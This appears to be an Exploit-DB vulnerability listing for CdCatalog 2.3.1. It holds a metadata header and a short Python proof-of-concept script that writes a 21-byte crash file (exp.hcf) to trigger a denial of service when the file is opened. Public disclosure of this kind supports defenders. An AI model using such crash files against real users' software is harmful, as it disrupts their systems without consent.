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vendor:
CdCatalog
by:
Ihsan Sencan
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: CdCatalog
Affected Version From: 2.3.1
Affected Version To: 2.3.1
Patch Exists: NO
Related CWE: N/A
CPE: a:cdcat:cdcat:2.3.1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: WiN7_x64/KaLiLinuX_x64
2018

CdCatalog 2.3.1 – Denial of Service (PoC)

CdCatalog 2.3.1 is vulnerable to a denial of service attack when a maliciously crafted .hcf file is opened. By creating a file with a length of 21 bytes, the application will crash when the file is opened.

Mitigation:

No known mitigation is available for this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: CdCatalog 2.3.1 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://cdcat.sourceforge.net
# Software Link: https://netcologne.dl.sourceforge.net/project/cdcat/cdcat/cdcat-2.3.1/cdcat-2.3.1.tar.bz2
# Version: 2.3.1
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# CTRL+O & File/Open/exp.hcf

#!/usr/bin/python
    
buffer = "A" * 21
 
payload = buffer
try:
    f=open("exp.hcf","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."

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